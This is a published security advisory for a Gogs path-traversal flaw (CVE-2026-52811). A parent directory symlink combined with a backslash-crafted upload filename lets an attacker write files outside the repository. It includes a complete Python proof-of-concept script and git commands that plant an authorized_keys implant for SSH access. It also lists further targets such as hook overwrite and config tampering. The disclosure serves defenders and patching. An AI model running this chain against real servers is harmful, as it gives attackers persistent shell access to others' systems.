GHSA-89mr-xqfv-758m CVE-2026-52811 GO-2026-5249
Gogs: UploadRepoFiles writes outside repo working tree via committed parent sym
- Severity
- 0.0 / 10
- Critical · CVSS 4.0
- Exploit chance (EPSS)
- 0.47%
- Chance of exploitation in the next 30 days. Higher than 41.01% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- CWE-59 Improper Link Resolution Before File Access ('Link Following')
- CWE-61 UNIX Symbolic Link (Symlink) Following
- Fix
0.14.3- Upgrade gogs.io/gogs to this version or later
Description
Summary
(*Repository).UploadRepoFiles checks for symlinks only on the leaf of the upload target (osx.IsSymlink(targetPath)). The siblings UpdateRepoFile, DeleteRepoFile, and GetDiffPreview use hasSymlinkInPath, which lstats every component — UploadRepoFiles is the lone outlier. An attacker with repo-write access plus a multipart upload whose filename contains a literal backslash (preserved by filepath.Base on Linux, then converted to / by pathx.Clean) redirects the write through a previously-committed directory symlink. iox.CopyFile opens the destination with os.Create (no O_NOFOLLOW), so the kernel follows the parent symlink and writes attacker bytes anywhere the gogs UID can write — ~git/.ssh/authorized_keys → SSH foothold, or <repo>.git/hooks/post-receive → next-push RCE.
Windows builds are unaffected: filepath.Base treats \ as a separator (strips the multi-segment trick) and git defaults core.symlinks=false at checkout (committed mode-120000 entries become text files, not real symlinks).
Details
The asymmetric check at internal/database/repo_editor.go:601-612:
targetPath := path.Join(dirPath, upload.Name)
if osx.IsSymlink(targetPath) { // ← LEAF-ONLY
return errors.Newf("cannot overwrite symbolic link: %s", upload.Name)
}
if err = iox.CopyFile(tmpPath, targetPath); err != nil { ... }
vs. UpdateRepoFile's correct walker at internal/database/repo_editor.go:163:
if hasSymlinkInPath(localPath, opts.OldTreeName) || hasSymlinkInPath(localPath, opts.NewTreeName) {
return errors.New("cannot update file with symbolic link in path")
}
hasSymlinkInPath (internal/database/repo_editor.go:120-131) lstats every component; osx.IsSymlink (internal/osx/osx.go:35-41) is os.Lstat mode-bit on the leaf — fine inside the loop, wrong as a single call.
Multi-segment upload.Name reaches the loop because: (1) c.Req.FormFile("file") returns *multipart.FileHeader whose Filename is filepath.Base(filename) — Linux only treats / as separator, so backslashes are preserved; (2) NewUpload calls pathx.Clean (internal/pathx/pathx.go:13-16) which does strings.ReplaceAll(p, "\\", "/") — converting backslashes to forward slashes; (3) upload.Name = "evil/foo" is persisted and joined into path.Join(dirPath, upload.Name). iox.CopyFile at internal/iox/iox.go:24 uses os.Create(dst) = OpenFile(dst, O_RDWR|O_CREATE|O_TRUNC, ...) — no O_NOFOLLOW, kernel follows symlinks in path. Git's default core.symlinks=true on Linux materialises pushed mode-120000 trees as real symlinks at the next UpdateLocalCopyBranch.
Suggested fix
- Replace the leaf check at
repo_editor.go:606withhasSymlinkInPath(localPath, path.Join(opts.TreePath, upload.Name))— the same primitiveUpdateRepoFilealready uses. - Walk
opts.TreePathbefore theos.MkdirAll(dirPath, ...)at line 583 so that pre-existing symlinked components don't letMkdirAllcreate directories outside the repo. - Switch
iox.CopyFile's open toO_WRONLY|O_CREATE|O_TRUNC|O_NOFOLLOW, closing the lstat→write TOCTOU at the syscall layer. - In
database.NewUpload, afterpathx.Clean, refusenamecontaining/or\outright. Browsers strip path components from file inputs; only attacker tooling sends multi-segment values.
PoC
Tested against gogs HEAD d7571322 on Ubuntu 24.04. Reproduces on v0.14.2 (packages renamed osx↔osutil, iox.CopyFile↔com.Copy, identical logic).
Reproduction prerequisites
- gogs ≥ 0.14.0 on Linux/macOS (
runtime.GOOS != "windows"). - Two attacker accounts on the gogs instance with write to a repo
attacker/playground(repo creators are admins of their own repos). git≥ 2.x withcore.symlinks=true(Linux/macOS default).- Python 3 stdlib only —
curl -Fdoes NOT trigger the bug because shell quoting + Go's RFC 2045 quoted-pair parsing both consume the backslash; we build the multipart body byte-exactly.
Why curl alone is unreliable
Bug needs two backslash bytes on the wire so Go's mime.ParseMediaType quoted-string rule (\X → X) yields a single \ in the parsed filename, which pathx.Clean then turns into /.
| Shell form | Wire bytes | Go parses to | upload.Name | Triggers? |
|---|---|---|---|---|
-F "...filename=a\b" |
a\b |
ab |
ab |
no |
-F "...filename=a\\b" (double quotes) |
a\b |
ab |
ab |
no |
-F '...filename=a\\b' (single quotes) |
a\\b |
a\b |
a/b |
yes |
The Python below removes the ambiguity.
Step 1 — plant the directory symlink
git clone https://attacker:attacker_password@gogs.example/attacker/playground
cd playground
ln -s /home/git/.ssh hijack
git add hijack && git commit -m 'docs link' && git push origin main
cd ..
Bare repo now contains a mode-120000 entry for hijack. Next UpdateLocalCopyBranch materialises <conf.AppDataPath>/tmp/local-r/<repoID>/hijack → /home/git/.ssh.
Step 2 — upload + commit
Save as poc.py:
#!/usr/bin/env python3
"""PoC for gogs UploadRepoFiles parent-symlink → arbitrary file write."""
import http.client, ssl, json, re, urllib.parse
from http.cookies import SimpleCookie
GOGS_HOST = 'gogs.example'
USERNAME = 'attacker'
PASSWORD = 'attacker_password'
REPO_OWNER = 'attacker'
REPO_NAME = 'playground'
BRANCH = 'main'
PUBKEY = 'ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop\n'
ctx = ssl.create_default_context() # set to None for plain HTTP / port 3000
def conn():
if ctx is None:
return http.client.HTTPConnection(GOGS_HOST, 3000)
return http.client.HTTPSConnection(GOGS_HOST, 443, context=ctx)
cookies = {}
def update_cookies(resp):
for hdr in resp.msg.get_all('Set-Cookie') or []:
for name, morsel in SimpleCookie(hdr).items():
cookies[name] = morsel.value
def cookie_header():
return '; '.join(f'{k}={v}' for k, v in cookies.items())
def get_csrf(html):
return re.search(r'name="_csrf"\s+(?:value|content)="([^"]+)"', html).group(1)
# 1. GET /user/login → session cookie + CSRF
c = conn(); c.request('GET', '/user/login')
r = c.getresponse(); update_cookies(r)
csrf_token = get_csrf(r.read().decode())
# 2. Submit credentials
c = conn()
c.request('POST', '/user/login',
body=urllib.parse.urlencode({'_csrf': csrf_token, 'user_name': USERNAME, 'password': PASSWORD}),
headers={'Content-Type': 'application/x-www-form-urlencoded',
'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token})
r = c.getresponse(); r.read(); update_cookies(r)
assert r.status in (302, 303), f'login failed: {r.status}'
# 3. Refresh CSRF for the logged-in session
c = conn()
c.request('GET', f'/{REPO_OWNER}/{REPO_NAME}', headers={'Cookie': cookie_header()})
r = c.getresponse(); html = r.read().decode(); update_cookies(r)
csrf_token = get_csrf(html)
# 4. Hand-built multipart with literal "\\" (two backslash bytes) in filename.
# Wire form: filename="hijack\\authorized_keys"
boundary = '----poc-' + 'x' * 16
filename_on_wire = r'hijack\\authorized_keys' # 23 chars, 2 of them backslashes
body = (
f'--{boundary}\r\n'
f'Content-Disposition: form-data; name="file"; filename="{filename_on_wire}"\r\n'
f'Content-Type: text/plain\r\n\r\n{PUBKEY}\r\n--{boundary}--\r\n'
).encode()
c = conn()
c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/upload-file', body=body, headers={
'Content-Type': f'multipart/form-data; boundary={boundary}',
'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token,
})
r = c.getresponse(); upload_resp = r.read().decode()
print('upload status:', r.status, 'body:', upload_resp)
uuid = json.loads(upload_resp)['uuid']
# 5. Commit the uploaded file at the repo root.
c = conn()
c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/_upload/{BRANCH}/',
body=urllib.parse.urlencode({
'_csrf': csrf_token, 'tree_path': '', 'commit_summary': 'docs link',
'commit_choice': 'direct', 'files': uuid,
}),
headers={'Content-Type': 'application/x-www-form-urlencoded',
'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token})
r = c.getresponse(); r.read()
print('commit status:', r.status)
python3 poc.py
# upload status: 200 body: {"uuid":"<UUID>"}
# commit status: 302
Step 3 — confirm and use the foothold
sudo cat /home/git/.ssh/authorized_keys # operator's view
# → ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop
ssh -i ~/.ssh/id_ed25519 git@gogs.example # attacker's view
# → shell as the gogs runtime UID
Server-side trace
multipart wire bytes: filename="hijack\\authorized_keys"
mime.ParseMediaType → "hijack\authorized_keys" (quoted-pair: \\ → \)
filepath.Base → "hijack\authorized_keys" (Linux: only / is a separator)
pathx.Clean → "hijack/authorized_keys" (\\ → /, then path.Clean)
UploadRepoFiles:
targetPath = <local-r>/<repoID>/hijack/authorized_keys
= /home/git/.ssh/authorized_keys (parent symlink resolved)
osx.IsSymlink(targetPath) = false (leaf doesn't exist as a symlink)
iox.CopyFile → os.Create → OpenFile WITHOUT O_NOFOLLOW (follows the parent symlink)
Other reachable targets (same primitive)
| Symlink target | Effect on next event |
|---|---|
/home/git/.ssh |
SSH key implant → shell as gogs UID |
<RepoRoot>/<owner>/<repo>.git/hooks |
Hook overwrite → arbitrary code on next push |
<RepoRoot>/<owner>/<repo>.git |
core.fsmonitor=<cmd> in config → exec on next git op |
~git/custom/conf |
Modify app.ini (SCRIPT_TYPE, INSTALL_LOCK, SECRET_KEY) on restart |
| Path of the sqlite DB file | DoS or admin-row replant |
Independent confirmation against the source
git clone https://github.com/gogs/gogs.git && cd gogs
git checkout d7571322
diff <(sed -n '160,170p' internal/database/repo_editor.go) \
<(sed -n '601,615p' internal/database/repo_editor.go)
# Confirm: line 163 calls hasSymlinkInPath; line 606 calls osx.IsSymlink (leaf only)
sed -n '13,16p' internal/pathx/pathx.go
# Confirm: pathx.Clean does ReplaceAll("\\", "/")
Impact
- Authenticated RCE as the gogs runtime UID from one repo write. Chain: plant symlink (one git push) → upload with crafted filename → commit → write to
~git/.ssh/authorized_keys→ ssh in. - Lateral targets: gogs sqlite DB (rewrite admin row), bare-repo hook scripts (run on next push by any user with
GOGS_AUTH_USER_*env populated),app.iniSECRET_KEY(forges session cookies, decrypts stored 2FA secrets and mirror credentials). - Persistent: symlink and key both survive restart; removing the attacker's repo access does not undo the SSH foothold.
- Linux/macOS only. Windows hosts are unaffected for two independent reasons (
filepath.Baseseparator handling, git'score.symlinksdefault).
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| gogs.io/gogs | < 0.14.3 |
0.14.3 |
| gogs.io/gogs | all versions |
No fix yet |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
gogs.io/gogs Go → 0.14.3
- go
go get gogs.io/gogs@v0.14.3 && go mod tidy
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- Present
- Privileges required
- Low
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- High
- Integrity (subsequent systems)
- High
- Availability (subsequent systems)
- High
Weakness
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
How to prevent it
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
- Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
- Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CWE-59: Improper Link Resolution Before File Access ('Link Following')
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.
How to prevent it
- Architecture and Design: Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
CWE-61: UNIX Symbolic Link (Symlink) Following
The product, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.
How to prevent it
- Implementation: Symbolic link attacks often occur when a program creates a tmp directory that stores files/links. Access to the directory should be restricted to the program as to prevent attackers from manipulating the files.
- Architecture and Design: Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-mq8m-42gh-wq7r Gogs vulnerable to a bypass of CVE-2024-55947 | High Known exploited | Also affects gogs.io/gogs |
| GHSA-3w28-36p9-w929 Gogs's Unauthenticated Jupyter Notebook (ipynb) Sanitizer allows arbitrary data: URIs leading to XSS | Medium | Also affects gogs.io/gogs |
| GHSA-744x-3838-5r56 Gogs Vulnerable to Unauthenticated Organization Teams Information Disclosure via API | Medium | Also affects gogs.io/gogs |
| GHSA-xp79-5mx3-jx52 Gogs has Unauthenticated Asymmetric Denial of Service (DoS) via SSH Handshake Stall (File Descriptor Exhaustion) | Medium | Also affects gogs.io/gogs |
| GHSA-c39w-43gm-34h5 Gogs has Path Traversal in organization name that results in RCE through Git hooks | Critical | Also affects gogs.io/gogs |
| GHSA-6p9m-q3jp-47h4 Gogs: LFS dedupe path leaks private repo content across tenants | High | Also affects gogs.io/gogs |
| GHSA-wmfg-5p4h-5fw3 Gogs allows users to write to readonly repositories using receive-pack + service=git-upload-pack confusion | High | Also affects gogs.io/gogs |
| GHSA-5c3f-6486-3g7g Gogs's password-reset tokens use account-activation lifetime, ignoring RESET_PASSWORD_CODE_LIVES | Medium | Also affects gogs.io/gogs |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor